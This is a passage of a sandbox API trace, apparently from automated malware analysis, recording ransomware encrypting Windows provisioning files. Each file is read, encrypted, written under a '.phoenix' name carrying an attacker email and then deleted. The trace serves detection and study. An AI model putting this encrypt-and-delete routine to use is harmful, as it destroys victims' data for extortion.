	[0257.944] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151480) returned 1
	[0257.944] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.944] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.944] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.944] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.944] CryptDestroyKey (hKey=0x151740) returned 1
	[0257.944] CloseHandle (hObject=0x2f4) returned 1
	[0257.944] CloseHandle (hObject=0x2e0) returned 1
	[0257.945] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.946] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.946] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=705) returned 1
	[0257.947] CloseHandle (hObject=0x2e0) returned 1
	[0257.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.948] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.948] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.949] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.949] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.949] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0257.950] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.950] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c1, lpOverlapped=0x0) returned 1
	[0257.952] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0257.952] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.953] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151540) returned 1
	[0257.953] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.953] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.953] CryptDestroyKey (hKey=0x151540) returned 1
	[0257.953] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.953] CryptDestroyKey (hKey=0x151300) returned 1
	[0257.953] CloseHandle (hObject=0x2e0) returned 1
	[0257.953] CloseHandle (hObject=0x2f4) returned 1
	[0257.953] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\68__connections_cellular_china mobile (china)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.955] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.955] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.955] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=719) returned 1
	[0257.955] CloseHandle (hObject=0x2f4) returned 1
	[0257.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0257.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.956] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.956] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.956] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.956] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151200) returned 1
	[0257.957] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.957] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cf, lpOverlapped=0x0) returned 1
	[0258.013] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0258.013] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.014] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0258.014] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.014] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.014] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.014] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.015] CryptDestroyKey (hKey=0x151200) returned 1
	[0258.015] CloseHandle (hObject=0x2f4) returned 1
	[0258.015] CloseHandle (hObject=0x2e0) returned 1
	[0258.015] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 1
	[0258.017] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.017] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.017] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0258.017] CloseHandle (hObject=0x2e0) returned 1
	[0258.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0258.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.018] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.018] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.018] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.020] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0258.020] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.020] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0258.022] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0258.022] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.024] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1511c0) returned 1
	[0258.024] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.024] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.024] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0258.024] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.024] CryptDestroyKey (hKey=0x151140) returned 1
	[0258.024] CloseHandle (hObject=0x2e0) returned 1
	[0258.024] CloseHandle (hObject=0x2f4) returned 1
	[0258.025] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\696__Connections_Cellular_Kyivstar (Ukraine)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\696__connections_cellular_kyivstar (ukraine)_i3$(__mvid)@wap.provxml")) returned 1
	[0258.026] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.026] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.027] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=717) returned 1
	[0258.027] CloseHandle (hObject=0x2f4) returned 1
	[0258.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0258.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.027] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.027] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.027] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.027] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.030] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0258.030] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.030] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2cd, lpOverlapped=0x0) returned 1
	[0258.032] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0258.032] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0258.033] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0258.033] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.033] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.033] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.033] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.033] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.033] CloseHandle (hObject=0x2f4) returned 1
	[0258.033] CloseHandle (hObject=0x2e0) returned 1
	[0258.033] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\697__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\697__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 1
	[0258.035] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.035] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
